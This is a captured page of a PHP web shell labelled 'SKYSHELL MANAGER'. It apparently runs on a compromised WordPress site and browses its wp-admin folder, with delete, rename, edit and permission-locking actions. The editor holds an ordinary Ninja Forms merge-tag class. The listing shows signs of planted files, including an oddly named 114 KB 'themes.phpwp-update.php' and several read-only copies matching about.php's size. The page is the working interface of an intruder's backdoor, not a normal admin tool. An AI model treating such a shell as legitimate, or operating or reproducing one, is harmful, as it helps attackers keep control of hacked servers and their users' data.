📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Form.php
<?php if ( ! defined( 'ABSPATH' ) ) exit; /** * Class NF_MergeTags_Form */ final class NF_MergeTags_Form extends NF_Abstracts_MergeTags { protected $id = 'form'; protected $form_id; protected $form_title; protected $sub_seq; public function __construct() { parent::__construct(); $this->title = esc_html__( 'Form', 'ninja-forms' ); $this->merge_tags = Ninja_Forms()->config( 'MergeTagsForm' ); add_action( 'ninja_forms_save_sub', array( $this, 'setSubSeq' ) ); // Gets the form ID. add_action( 'nf_get_form_id', array( $this, 'set_form_id' ), 15, 1 ); } /** * @return mixed */ public function getSubSeq() { return $this->sub_seq; } /** * @param mixed $sub_seq */ public function setSubSeq( $sub_id ) { $submission = Ninja_Forms()->form()->sub( $sub_id )->get(); $this->sub_seq = $submission->get_seq_num(); } /** * Getter method for the form_id. * * @return void */ public function get_form_id() { return $this->form_id; } /** * Getter method for the form title. * * @return void */ public function get_form_title() { return $this->form_title; } /** * Setter method for the form_id and callback for the nf_get_form_id action. * @since 3.2.2 * * @param string $form_id The ID of the current form. * @return void */ public function set_form_id( $form_id ) { $this->form_id = $form_id; } /** * Setter method for the form_title * * @param string $form_title The title of the current form. * @return void */ public function set_form_title( $form_title ) { $this->form_title = $form_title; } /** * Gets a count of the form submissions and callback for the sub_count merge tag setting. * @since 3.2.2 * * @return array|int Count of the form submissions. */ public function get_sub_count() { global $wpdb; // Query the database for the total amount of submissions for a form. $query = "SELECT DISTINCT( COUNT( wpp.id ) ) AS sub_count FROM `" . $wpdb->prefix . "posts` wpp JOIN `" . $wpdb->prefix . "postmeta` wpm ON wpp.id = wpm.post_id WHERE wpm.meta_key = '_form_id' AND wpm.meta_value = %s"; $count = $wpdb->get_results( $wpdb->prepare( $query, $this->form_id ) ); return $count[ 0 ]->sub_count; } } // END CLASS NF_MergeTags_Form
Save